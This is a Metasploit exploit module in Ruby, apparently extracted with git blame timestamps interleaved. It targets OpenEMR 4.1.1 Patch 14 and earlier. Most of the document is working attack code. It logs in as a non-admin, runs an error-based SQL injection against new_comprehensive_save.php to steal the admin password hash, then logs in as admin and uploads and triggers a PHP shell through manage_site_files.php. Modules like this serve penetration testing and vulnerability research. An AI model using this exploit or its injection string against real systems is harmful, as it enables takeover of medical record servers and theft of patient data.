2013-09-16 09:19:35 +00:00
##
2013-10-15 18:50:46 +00:00
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-09-16 09:19:35 +00:00
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: FileDropper
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > " OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution " ,
'Description' = > %q{
This module exploits a vulnerability found in OpenEMR version 4 . 1 . 1 Patch 14 and lower .
2013-09-23 18:48:23 +00:00
When logging in as any non - admin user , it ' s possible to retrieve the admin SHA1 password
2013-09-16 09:19:35 +00:00
hash from the database through SQL injection . The SQL injection vulnerability exists
2013-09-19 19:40:57 +00:00
in the " new_comprehensive_save.php " page . This hash can be used to log in as the admin
user . After logging in , the " manage_site_files.php " page will be used to upload arbitrary
code .
2013-09-16 09:19:35 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
] ,
'References' = >
[
2013-09-20 14:41:23 +00:00
[ 'OSVDB' , '97482' ] ,
2013-09-19 19:40:57 +00:00
[ 'EDB' , '28329' ]
2013-09-16 09:19:35 +00:00
] ,
'Platform' = > [ 'php' ] ,
'Arch' = > ARCH_PHP ,
'Targets' = >
[
[ 'OpenEMR' , { } ]
] ,
'Privileged' = > false ,
'DisclosureDate' = > " Sep 16 2013 " ,
'DefaultTarget' = > 0 ) )
register_options (
[
OptString . new ( 'TARGETURI' , [ true , 'The base path to the OpenEMR installation' , '/openemr' ] ) ,
OptString . new ( 'USER' , [ true , 'The non-admin user' , '' ] ) ,
OptString . new ( 'PASS' , [ true , 'The non-admin password' , '' ] )
] , self . class )
end
2013-09-19 19:36:25 +00:00
def uri
return target_uri . path
end
def check
2013-09-16 09:19:35 +00:00
# Check version
print_status ( " #{ peer } - Trying to detect installed version " )
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( uri , " interface " , " login " , " login.php " )
} )
if res and res . code == 200 and res . body =~ / v( \ d+. \ d+. \ d+) /
version = $1
else
return Exploit :: CheckCode :: Unknown
end
print_status ( " #{ peer } - Version #{ version } detected " )
if version < " 4.1.2 "
2013-09-19 19:17:45 +00:00
return Exploit :: CheckCode :: Detected
2013-09-16 09:19:35 +00:00
else
return Exploit :: CheckCode :: Safe
end
end
2013-09-18 05:38:20 +00:00
def login ( base , name , pass )
#print_status("#{peer} - Logging in as non-admin user [ #{datastore['USER']} ]")
res = send_request_cgi ( {
'method' = > 'POST' ,
2013-09-19 19:40:57 +00:00
'uri' = > normalize_uri ( " #{ base } " , " interface " , " main " , " main_screen.php " ) ,
'vars_get' = > {
" auth " = > " login " ,
" site " = > " default "
} ,
2013-09-18 05:38:20 +00:00
'vars_post' = > {
'authProvider' = > 'Default' ,
'authUser' = > " #{ name } " ,
'authPass' = > " #{ pass } "
}
} )
2013-09-19 19:36:25 +00:00
if res && res . code == 200 and res . headers [ 'Set-Cookie' ] =~ / OpenEMR=([a-zA-Z0-9]+) /
session = $1
print_status ( " #{ rhost } : #{ rport } - Login successful " )
print_status ( " #{ rhost } : #{ rport } - Session cookie is [ #{ session } ] " )
return session
2013-09-18 05:38:20 +00:00
else
2013-09-19 19:51:22 +00:00
fail_with ( Failure :: Unknown , " #{ peer } - Login was not succesful! " )
2013-09-18 05:38:20 +00:00
end
end
2013-09-16 09:19:35 +00:00
def exploit
# Password should be converted to a SHA1 hash
2013-09-19 19:36:25 +00:00
password = Rex :: Text . sha1 ( datastore [ 'PASS' ] )
2013-09-16 09:19:35 +00:00
2013-09-18 05:38:20 +00:00
# Login as non-admin
2013-09-19 19:36:25 +00:00
cookie = login ( uri , datastore [ 'USER' ] , password )
2013-09-16 09:19:35 +00:00
2013-09-18 05:38:20 +00:00
sqlq = rand_text_alpha ( 8 )
# Generate random string and convert to hex
2013-09-19 19:36:25 +00:00
sqls = sqlq . each_byte . map { | b | b . to_s ( 16 ) } . join
2013-09-16 09:19:35 +00:00
# Our SQL Error-Based Injection string - The string will return the admin password hash between the words ABCD<hash>ABCD in the response page.
2013-09-18 05:38:20 +00:00
sqli = " 1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x #{ sqls } ,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) "
sqli << " FROM users WHERE username = 0x61646d696e LIMIT 0,1),0x #{ sqls } ,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ' #{ sqlq } '=' #{ sqlq } "
2013-09-16 09:19:35 +00:00
post_data = " form_pubpid= #{ sqli } "
print_status ( " #{ peer } - Retrieving admin password hash through SQLi " )
res = send_request_cgi ( {
'method' = > 'POST' ,
2013-09-19 19:36:25 +00:00
'data' = > post_data ,
2013-09-18 05:38:20 +00:00
'cookie' = > " OpenEMR= #{ cookie } " ,
2013-09-16 09:19:35 +00:00
'uri' = > normalize_uri ( uri , " interface " , " new " , " new_comprehensive_save.php " )
} )
2013-09-19 19:36:25 +00:00
if res and res . code == 200 and res . body =~ / #{ sqlq } ([a-zA-Z0-9]+) #{ sqlq } /
adminhash = $1
print_status ( " #{ peer } - Admin password hash is [ #{ adminhash } ] " )
2013-09-16 09:19:35 +00:00
else
2013-09-19 19:51:22 +00:00
fail_with ( Failure :: Unknown , " #{ peer } - Retrieving admin password failed! " )
2013-09-16 09:19:35 +00:00
end
2013-09-18 05:38:20 +00:00
# Login as admin and retrieve cookie
cookie = login ( uri , " admin " , " #{ adminhash } " )
2013-09-16 09:19:35 +00:00
# Random filename
payload_name = rand_text_alpha ( rand ( 10 ) + 5 ) + '.php'
2013-09-18 05:38:20 +00:00
post_data = Rex :: MIME :: Message . new
post_data . add_part ( " " , nil , nil , " form-data; name= \" bn_save \" " )
post_data . add_part ( payload . encoded , " application/octet-stream " , nil , " form-data; name= \" form_image \" ; filename= \" #{ payload_name } \" " )
file = post_data . to_s
file . strip!
2013-09-16 09:19:35 +00:00
print_status ( " #{ peer } - Uploading shell [ #{ payload_name } ] " )
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( uri , " interface " , " super " , " manage_site_files.php " ) ,
2013-09-18 05:38:20 +00:00
'ctype' = > " multipart/form-data; boundary= #{ post_data . bound } " ,
'cookie' = > " OpenEMR= #{ cookie } " ,
'data' = > file
2013-09-16 09:19:35 +00:00
} )
# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
2013-09-19 19:36:25 +00:00
if not res or res . code != 200 or res . body !~ / #{ payload_name } /
2013-09-19 19:51:22 +00:00
fail_with ( Failure :: Unknown , " #{ peer } - File wasn't uploaded, aborting! " )
2013-09-16 09:19:35 +00:00
end
2013-09-18 05:38:20 +00:00
register_file_for_cleanup ( payload_name )
2013-09-16 09:19:35 +00:00
print_status ( " #{ peer } - Requesting shell [ #{ uri } /sites/default/images/ #{ payload_name } ] " )
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( uri , " sites " , " default " , " images " , " #{ payload_name } " )
} )
# If we don't get a 200 when we request our malicious payload, we suspect
2013-09-18 05:38:20 +00:00
# we don't have a shell, either.
2013-09-16 09:19:35 +00:00
if res and res . code != 200
2013-09-19 19:36:25 +00:00
print_error ( " #{ peer } - Unexpected response, exploit probably failed! " )
2013-09-16 09:19:35 +00:00
end
end
end